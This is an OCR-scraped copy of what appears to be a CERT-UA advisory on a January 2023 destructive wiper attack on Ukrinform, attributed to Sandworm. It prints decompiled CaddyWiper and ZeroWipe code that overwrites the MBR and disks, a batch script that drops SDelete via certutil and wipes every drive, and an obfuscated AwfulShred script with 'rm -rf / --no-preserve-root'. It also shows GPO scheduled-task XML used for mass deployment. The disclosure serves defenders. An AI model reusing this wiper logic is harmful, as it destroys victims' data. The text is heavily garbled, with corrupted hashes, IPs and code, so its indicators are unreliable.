cert.gov.ua /article/3718487

Cyber attack on the Ukrinform information and
communication system (CERT-UA#5850

In the Telegram channel "CyberArmyofRussia_Reborn" on 17.01.2023 at around 12:39, information was
published about the violation of the normal functioning of several elements of the information and
communication system (hereinafter - ICS) of the Ukrainian National Information Agency "Ukrinform". At
the Agency's request, the Government Computer Emergency Response Team of Ukraine CERT-UA
initiated measures to investigate a cyberattack on January 17, 2023. As of January 27, 2023, 5 samples
of malicious programs (scripts) were detected, the functionality of which is aimed at violating the integrity
and availability of information (writing files/disks with zero bytes/arbitrary data and their subsequent
deletion), namely: CaddyWiper (Windows) ZeroWipe (Windows) SDelete (Windows) AwfulShred (Linux)
BidSwipe (FreeBSD) It was found that the attackers made an unsuccessful attempt to disrupt the regular
operation of users' computers using the CaddyWiper and ZeroWipe malicious programs, as well as the
legitimate SDelete utility (which was supposed to be launched using "news.bat"). At the same time, for
the purpose of centralized distribution of malicious programs, a group policy object (GPO) was created,
which, in turn, ensured the creation of corresponding scheduled tasks. There are reasons to believe that
the intelligence stage of the ICS of the Ukrainian National Information Agency "Ukrinform" will be
conducted no later than 07.12.2022. It was established that the final stage of the cyber attack was
initiated on 17.01.2023, however, it was only partially successful, in particular, in relation to several data
storage systems. In the process of research, an element of ICS was identified, with the help of which the
prerequisites for unauthorized remote access to the Agency's information resources were created. Taking
into account the results of the study, we believe it is possible to state that the cyber attack was carried out
by the UAC-0082 (Sandworm) group, whose activities are associated with the Russian Federation. It
should be noted that the mentioned Telegram channel, along with typical messages about DDoS attacks
and defaces, exclusively highlights the destructive activity carried out by the mentioned group. Indicators
of compromise Files:

Indicators of compromise

Files:

cc213200daf4202e2454dc2c363db04f
00782ccd65ale03e3e74celeb9e752926e0a050818£a195bd7e5a5b359500758 2022-12-
23 02:10:52 new.exe (CaddyWiper wv3)

54e5773071b193e109cbacc82565c6a9
e3bc3689f01fd431cd2ed368ae9leceaa’c465c2781fa77b7dc2ec9143a404£79 2022-10-
02 09:53:56 upd.exe (ZeroWipe)

6a2a899p47596323da573fb218£3a8266
301b248a8291df6c7£3565a3dacl7ee69609f36ef474b4df20eebel34746a9cac -
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news.bat

803df907d936e08fbbd06020c411be93
eB8eaa39%e2adfd49%9ab69d7bb8504ccb82a902c8b48fbc256472£36£41775e594c 2020-11-
24 23:36:04 sdelete.exe (SDelete)

3al1070b882d6843£c£a%9490c24700bdl
246607235d560e90590dcf1b0507abl8de74afcc4429d8d5f3ba9%7eacc92d73 £ - r.sh
(AwfulShred)

4a25863d34£c99e91af11dd7976c36c27
66548babcaod34b7dl7e42ab2e1405db1c581a516e0b1ad4942d373d6d5396ba4d -
audit.sh (BidSwipe)

Hosts:

powershell.exe -Enc
JABQAHIAbWBNnAHIAZQBzAHMAUABYAGUAZG[ .. .]XADgALgBOAGOACAANAA==
powershell.exe -Enc

JABQAHTIAbWBNAHIAZQBZAHMAUABYAGUAZG[...] zZADEAOAAUAHQALQBWACCA
powershell.exe -Enc

JABQAHIAbWBNAHIAZQBzAHMAUABYAGUAZG[...] SAEEAQGAUAGWADLbWBNACCA
powershell.exe -Enc

JABQAHTIAbWBNnAHIAZQBzAHMAUABYAGUAZG[...] 2ADQALgBSAG8AZWANAA==
SProgressPreference="SilentlyContinue";copy
C:\windows\system32\winevt\logs\Security.evtx C:\windows\temp\b8WTBWCoOF5.1log
> 'C:\windows\temp\TS 4318.tmp"'
SProgressPreference="SilentlyContinue";copy
C:\windows\system32\winevt\logs\Security.evtx C:\windows\temp\b8WTBWCoOF5.log
> 'C:windowstemp\TS 4318.tmp'
SProgressPreference="SilentlyContinue";dnscmd /enumrecords $%DOMAIN% . /type A
/child > 'C:\windows\temp\BRN3C2AF47629AB.1og"
SProgressPreference="SilentlyContinue";hostname >

'C:\VLOG\dd vcredist x86 20200324195140 001 vcRuntimeAdditional x64.log'
icacls.exe C:\Windows\explorer.exe /deny *S-1-1-0:F

takeown /F C:\Windows\explorer.exe

C:\Users\new.exe

C:\VLOG\dd vcredist x86 20200324195140 001 vcRuntimeAdditional x64.log
C:\Windows\SYSVOL\domain\Policies\{31B2F340-016D-11D2-945F-
0O0CO04FB984F9}\MACHINE\news.bat
C:\Windows\SYSVOL\domain\Policies\{31B2F340-016D-11D2-945F-
00CO4FB984F9} \MACHINE\upd.exe

C:\Windows\new.bat

C:\Windows\up.exe

C:\windows\temp\BRN3C2AF47629AB. log

C:\windows\temp\TS 4318.tmp

C:\windows\temp\b8WTBWCoOF5. log
\\$DOMAIN%\SYSVOL\$DOMAIN%\Policies\{31B2F340-016D-11D2-945F~
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00C04FB984F9}\MACHINE\news.bat
\\$DOMAIN%\SYSVOL\$DOMAINS\Policies\{31B2F340-016D-11D2-945F~
00C04FB984F9} \MACHINE\upd.exe

certutil (Process Name)

copy (Process Name)

dnscmd (Process Name)

hostname (Process Name)

icacls.exe (Process Name)

shutdown (Process Name)

takeown (Process Name)

Windows Security Update HxW (Scheduled Task)
Windows Security Update gMj (Scheduled Task)
Windows Security Update xBQ (Scheduled Task)
/root/r.sh

/sbin/audit.sh

Network:

185[.1220.101.185 DE (@digitalcourage[.]de (TOR Relay: relayonll85)
185[.1220.102.244 DE (@digitalcourage[.]de (TOR Relay: Digitalcouragedipea)
185[.1220.102.245 DE (@digitalcourage[.]de (TOR Relay: Digitalcourage4ipfb)
185[.1220.102.248 DE (@digitalcourage[.]de (TOR Relay: Digitalcourage4iplb)
185[.1220.102.250 DE (@digitalcourage[.]de (TOR Relay: Digitalcouragedip3a)
185[.1220.102.251 DE (@digitalcourage[.]de (TOR Relay: Digitalcouragedipi4a)

45[.1154.98.225 NL (@as210558[.]lnet (TOR relay: prsv)

770.191.123.136 NL (@stark-industries|[.]solutions (TOR Relay: lePaysduDragon)
80[.167.167.81 FR (@milkywan[.]fr (TOR Relay: arecoquel)

194[.]128.172.172 UA (@besthosting[.]Jua (torguardl[.]net;
secureconnect[.]me)

194[.128.172.81 UA (@besthosting[.]ua (torguard[.]net; secureconnect[.]me)

Graphic Images:
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1pLayout

*(undefined4 *)lpLayout->PartitionEntry[@].u.Gpt.PartitionType.Data4 = 0;

hDevice = (*CreateFileW) (u_\\.\PHYSICALDRIVE®,@xc0000000,3,NULL,0PEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
if (hDevice != (HANDLE)oxffffffff) {
(DRIVE_LAYOUT_INFORMATION_EX %) (*LocalAlloc)(LMEM_ZEROINIT,@x780);
(#DeviceIoControl)(hDevice,IOCTL_DISK_GET_DRIVE_LAYOUT_EX,NULL,®,1lpLayout,@x780,&local_98,NULL);
if (lpLayout->PartitionEntry[0].StartingOffset.s.LowPart == 1) {

*(undefined4 ) (1pLayout->PartitionEntry[@].u.Gpt.PartitionType.Data4 + 4) = 0;

IpLayout=>PartitionEntry[0].u.Gpt.PartitionId.Datal = @;
*(undefineds *)&lplLayout->PartitionEntry[0].u.Gpt.PartitionId.Data2 = 9;

(kDeviceIoControl)(hDevice,IOCTL_DISK_SET_DRIVE_LAYOUT_EX,lpLayout,@x780,NULL,@,&local_98,NULL);

else if (lplLayout->PartitionStyle == PARTITION_STYLE_MBR) {

1pBuffer = (xLocalAlloc)(LMEM_ZEROINIT,@x200);

s_SetFilePointer._@_&4_ = 0x46746553;

s_SetFilePointer._&_4_ = 0x50656c69;

s_SetFilePointer._8_s. 0Xx746€696f;

s_SetFilePointer._12 0x7265;

s_SetFilePointer[14] \e';

s_WriteFile._@_4_ = 0x74697257;

s_WriteFile._4_&_ = 0x6C694665;

s_WriteFile._8_2_ = 0x65;

SetFilePointer = (kctx->GetProcAddress) (ctx—>hKernel32,s SetFilePointer);

WriteFile = (kctx—>GetProcAddress)(ctx—>hKernel32,s WriteFile);

(*SetFilePointer) (hDevice,@,NULL,0);
(*WriteFile) (hDevice,lpBuffer,@x200,&local_98,NULL);
(kLocalFree) (1pBuffer);

undefined4 entry(void)

{
int ivari;
context_t ctx;
ctx._4_4_ = 0;
ctx = 0;
ctx =0

_4_ = 0
ctx.LoadLibraryA = NULL;
ctx.GetProcAddress = NULL;
ctx.hKernel32 = NULL;
ctx.hAdvapi32 = NULL;
ivarl = init_context(&ctx);
if (ivarl !=0) {

return 0;
}
ctx._8_4_

9;

¥

if (ctx._8_4_ '=1) {
destroy_mbr(&ctx);
wipe_files(&ctx);
delete_drives(&ctx);

if (x(char *)((int)ProcessEnvironmentBlock + 2) == '\x@1') {

} }
(*LocalFree) (1pLayout); return 0;
(*CloseHandle) (hDevice); }
}
Puc.1 CaddyWiper Decompiled Software Code Sample (v3)
t main(v b} id thread_proc(int drive_index)

HANDLE hThread;
uint index;

DWORD nCount;
HANDLE threads [26]

threads[0]
nCount
index 0;
do {

} while (index
WaitForMultipleObjects(nCount,threads,1
Sleep(18 00);

ExitWindowsEx (EWX_LOGOFF, oxffffffff);
return @;

NULL ;
memset(threads

0;

hThread CreateThread(NULL,®,thread_proc, (LPVOID)index,@,NULL);
if (hThread NULL) {

threads [nCount] hThread;

nCount 1;

index
26);

HANDLE hDevice;
BOOL Bvarl;
HLOCAL 1pBuffer;

DWORD out_size, written;

DISK_GEOMETRY geometry;

WCHAR device_name [1024]

wsprintfW(device_name,L

hDevice

if (hpevice
out_size = 0;
Bvarl
if (Bvarl o) {

SetFilePointer(hDevice, 0,N

1pBuffer
if (lpBuffer
written = 0;
do {
Bvarl
} while (BVarl

CreateFileW(d
(HANDLE) ¢
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NU

LocalAlloc (LMEM_ZEROINIT, geometry.BytesPerSector

WriteFile(hDevice, pBuffer,geometry.BytesPerSector

2%d"", drive_index);
3,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH,NU

,0,&geometry, 0x

L,0);
0);
)£

,awritten, NULL);

0);

LocalFree(1lpBuffer);

)i

8,80ut_size,NULL);

Puc.2 Sample decompiled ZeroWipe code

CENOU A WN

@echo off

setlocal EnableDelayedExpansion
set TEMPFILE_HEX="!RANDOM!.hex"
set TEMPFILE_EXE="!RANDOM!.exe"

>%TEMPFILE HEX% echo 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00

>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE
>>%TEMPFILE

HEX%
HE.
HEX%
HEX%
HEX%
HE.
HEX%
HEX%
HEX%
HEX%
HEX%
HEX%
HEX%
HEX%
HEX%
HEX%

00
00
BA
67
6E
00
F1
00
03
00
FF
00
00
00
01
40

00
00
OE
72
20
00
48
48
49
48
48
48
00
00
00
00

00 00
00
09
20
53
6E
00
05
00
05
00
63
00
00
00
00

00
00
21
61
6D
54
EO
70
5D
56
54
54
50
EO
E5
00

00 0
00
B8
6E
6F
F7
6B
F7
8F
F7
F7
F7
45
00
5D
02

17941
17942
17943
17944
17945
17946
17947
00 00 00 00 13323
00 00 00 00 | [17950
CD 21 54 68 17951
74 20 62 65| 17952
2E OD OD OA | |17953
54 F7 00 48 i;ggg
D4 F7 00 48
06 OF 04 49 };ggg
59 F7 00 48| |1702¢
F7 9E 04 49 | |17939
55 F7 00 48 | |17960
00 00 00 00 | (17961
4C 01 05 00 | (17962
0B 01 OE 10 | |17963
00 10 00 00 | |17964
05 00 01 00 | |17965

>>%TEMPFILE HEX%
>>%TEMPFILE HEX%
>>%TEMPFILE _HEX%
>>%TEMPFILE HEX%
>>%TEMPFILE_HEX%
>>%TEMPFILE HEX%

AE 3B
A3 28
4A 80
C4 11
2F A7
00 00

Al B7 18 70 C7 11 40 DC AC 6C 49 D8
6A 0B 19 06 15 6A 76 20 5D 7F 8A 30
41 01 6B EC F5 14 04 FF E3 5C 7B CA
F5 DA 68 BB 94 99 6C 62 FA 72 53 1D
4F DB 3E 30 68 F8 4C EF 67 EF F6 21

echo
echo
echo
echo
echo
echo

certutil -f -decodehex %TEMPFILE HEX% STEMPFILE EXE%
takeown /F C:\Windows\explorer.exe
icacls.exe C:\Windows\explorer.exe /deny *S-1-1-0:F

for %%i in (D:,E:,F:,G:,Q:,W:,E:,R:,T:,Y:,U:,I:,0:,P:,S:,H, X, Y2, Z2)
takeown /a /r /d Y /f %

start %cd%\%TEMPFILE EXE% -nobanner -accepteula -r -s -q %%i\*

)

timeout 60

takeown /a /r /d Y /f C:\Users\

%cd%\%TEMPFILE EXE% -nobanner -accepteula -r -s -q c:\Users
%cd%\%TEMPFILE EXE% -nobanner -accepteula -z ¢

shutdown /r /f /t 600
%cd%\%TEMPFILE EXE% -nobanner -accepteula -r -s -q c:\*

3B
63
BA
06
9B

49 88 20
91 8E 6E
E4 3C 4F
3C 3D 34
Al 7B 00

Puc.3 An example of the program code of the "news.bat" file that launches the SDelete utility
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LiXLPCQ1BOGL "$PSFZ1ZtDYapG™
if [ "$result" 1; then

PuyVaQYUcyHa *$QOMNXTYERTOW"

T winin/bash 1 #l/binjbash
2 2
I dectare o verrssoyma 3 declare history_file=y/.bash_history
5 declore —r aracatelo 4
¢ dectare - oLt 5 declare shred_comma
sectare —r 6 dectare shred_args=
9 feclare Vosbc < -~/ .bash_histor 7
o dect v h V gZ\( Jobost ‘ ‘ v 8 declare -a disk_devices
declare QONKTYERTQus"S {cALIXdInEZen} ${oNGhSHKXBHU3} $(VdbCHFATORKNE" 9
R e et 10 declare -o service s
dectare -r psiziz apache http ssh b
declare - avBgiaoY “/Lib/systend/systen
declare -r HelSLrntKuy Vel function WPDNpRoaGvu() “/usr/Lib/systend/systen”
dectare oKCunz¥yTrvz=
declare KiaEYSuYbbF local XdYwfEBnBKEh=$avBMghXqoYLu function red()
dectare -1 0 Tocal RQVgqHNsjtxN fune
dectare local XxSgTWMhWZzz
dectare - 10Utk Tocal biyawbhsloL0=0 0
declare 1¢j0x07sLbeta" 1 1=/dev/ zer0 of=" local -a CLPGGbmFAEWA
dectare -a adiseEicay Tocal KKWqnCEMEmib _
dectare -a FroTvLntr .
R eee/systent/syst. If [[ "${#wddisEENHczy[@]}" -t © 11; then N
Systend/syst function - cel)
) for XxSgTWMhWZzz in "${wddisEENHczy[@]}"; do §
function - RQVgqHNS j txN=$(eval "$gKCumzYvTrVz $kHQEYSwYbbFy$XxSqTlMhWZzz 2>$mrQCaEeVozqw") & Fenction EETEERERS0
T CLPgGbMFAEWA [${biyawDhsloL0}]=$! {
hunction PO ((biyawDhsloL0++)) N
3 function fers()
LA — if [ "$ROVGQHNSI " 1; then L
e XdYwfEBNBKEh=$HCUST rmtKwyY function T 0
3 .
function GaZFL0) fi
e done ;
hanction CoLPCRIEOGLO) for KKWGnCEMEmib in ${CLPgGbmFdEWA[@]}; do function RYORVIGES (}
(o wait $KKWqnCEMEmib {
function 7V 0 done function 0
(= i (m
P . )
)
¢ return $XdYwfEBNBKED finction 0
Function ALputlABLOKY() +
i
4 60 function history h 0
{ { s
function V0% fel) S
(o -
) function shred_disk_devices() function nin()
fanction 0110750520 { <
) tocal ret=0 focat re=t
fumetdon Tt i local result iF [0 -n "S1" 11; then
Local XaVufEBnBKER=SHAUSTratkoyY local disk_device
4f ([ -n "$1" 1]; then local i= Af [[ "$1" -eq "$1" ]] & [[ "$1" -gt © ]]; then
AF [[ "$1" -eq "$1 16 [[ "$1" -gt @ 1]; then local -a pending sleep $(($1%60))
local pid else
el sttt exit 1
etse
T et shastrat if [[ "${#disk_devices[@]}" -gt 0 11; then oot
f
P for disk_device in "${disk_devicesl@] delete_history_and_flush_caches
e result=$(eval "$shred_command $shred_argssdisk_device 2>/dev/null") & disable_history
HOBXHNfHpAe pending [${i}]=s/ if can_shred; then
if awEriRiskaz; then ((14+)) -

ervices “apache http ssh
delere folders /500t /hone. /var/log"

Uist_disk_devices
if [[ $7 —eq 0 & "${#disk devicesl@]}" —gt 0 11; then

if shred_disk_de. then

ret=0
fi
fi
fi
m -rf / ~—no-preserve-root >/dev/null 2§
delete_self

eboot.

return sret

ret=1
ALputiabLoXY i
Af [[ $7 -eq $avBMghXqoYLu && “${#wddisEENHczy(@]}" -gt @ 11; then done
for pid in ${pendingl@]}; do
F WPDnpnoaGNv; then wait $pid
X4V TEBNBKER=SaVBHghXaoYLu done
i i
i fi
o
m —rf / —-no-preserve-root >snr return $ret
¥
) £
Laypoucus -
yxCUITLSzTG 1
e
return $xavufeBBic N
y
32 1
355 FRatAGRErov * 315 nain s@"

Puc.4 An example of the original and deobfuscated AwfulShred code

—<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
—<Taskv2 clsld—”{DBSBGﬁSl -B747-47a7-84A6-C155337F3BC8}" name="news1" image="2" change

"2023-01-17 09:41:10" uid="{CA63CF6E-C93E-49A0-9E47-882740076BB3}" userContext="0'

removePolicy=

—<Properties actio ' name="news!" runAs="%DOMAIN%\%USERNAME_RUNAS%" logonType="S4U">
STk version- 1 P ScheduledTasks.xml
+<Pﬂnclpals></l’ﬂncipals>
+<Settings></Settings>
—<Triggers>
—<TimeTrigger>
<StartBoundary>2023-01-17T10:50:36Z</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
—<Actions Context="Author">
—<Exec>
bat</C
</Exec>
</Actions>
</Task>
</Properties>
(ZDEECBIC -261F-4e13-9B21-16FB83BCO3BD}" nams ‘news2" image: Z“ changed "2023-01-17 09:43:06" uid=" "(81DE232D 518D-453F- 9418 32D54CEE4DC1)“ nselcontextf " removePolicy="0">
" name="news2" appName="C:\Windows\new.bat" args=" " 1" 0" 0" 0" ="0" 0"

<"Mgger hasEndDate="0" interval
</Triggers>
</Properties>
</Task>
—<TaskV2 clsid="{D8896631-B747-47a7-84A6-C155337F3BC8}" name="up1" image="2" changed="2023-01-17 09:47:12" uid="{1A87FEE9-6658-4860-840F-8DCD48EF4B4F}" userContext=
—<Properties action="U" name="up1" runAs="%DOMAIN%\%USERNAME_RUNAS%" logonType="S4U">

1" type="ONCE" startHous

10" startMinutes="50" repeatTask="0" beginYea 023" beginMonth="1" beginDay="17"/>

0" removePolicy="0">

—<Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" nam

up2" tmage="2" change

2023-01-17 09:47: 56” uid="{0138E97D-: 2313 4854 821B-( UFOF4831A9E5)” userContext="0" removePolic:

—<Task version: >
+ ionInfo:
+<Principals></Principals> —<Files clsid="{215B2E53-57CE-475¢-80FE-9EEC14635851} ">
+<Settings></Settings> —<File clsid 567A-ded1-B1D0-9234FE 1F38AF}" name="new.bat" status="new.bat" imag " changed="2023-01-17 09:35:13" uld="(475547DA-1 2B8-49C4-AA03-76F62073892C)  bypassErrors="1"
—<Triggers> pe) g DO {31B2F340-016D-11 984F9 }\MAC 0" archive
—<TimeTrigger> hidden=
<StartBoundary>2023-01-17T10:50:18Z</Star v . AN e . - N
ZEnabled>true</Enabled> </;lrlxll::sn>mn0nce hidden= bool="AND" id="{DCEOF8B2-554F-4BAD-845F-CD822BA11556} /> Files.xml
<fTime'I\'igger> <iiles
<[Trigge ~<File clsid="{50BE44C8 567A-ded1-B1D0- SZSAFEIFJBAF) name:‘up exe" smns, ‘up «exe" image="2" changed="2023-01-17 09:45:41" uid="{298FCC37-9ED1-4BA7-BD4A-4F140B382437} " bypassErrors:
—<Acﬂol|s Contex! "Author"> action: 1B2F340-016D-11 4 J\MACHINE\upd.exe" C: * readOnly="0" archive
<Exec> hidden="1" suppress
Ci i exe</Cr <[File>
</Exec> <[Files>
</Actions>
</Task>
</Properties>
</TaskV2>

—<Properties action="U" name="up2" appName=

:\Windows\up. exe” args=""startln="" " 0" pO! 0" noStar

s

~<Triggers>

<Trigger hasEndDate=
<[Triggers>
</Properties>

interval="1" type="ONCE" startHour="10" startMi 50" ="0" begi ="2023" begis 1" begi "17"/>

</ScheduledTasks>

Puc.5 An example of scheduled task settings
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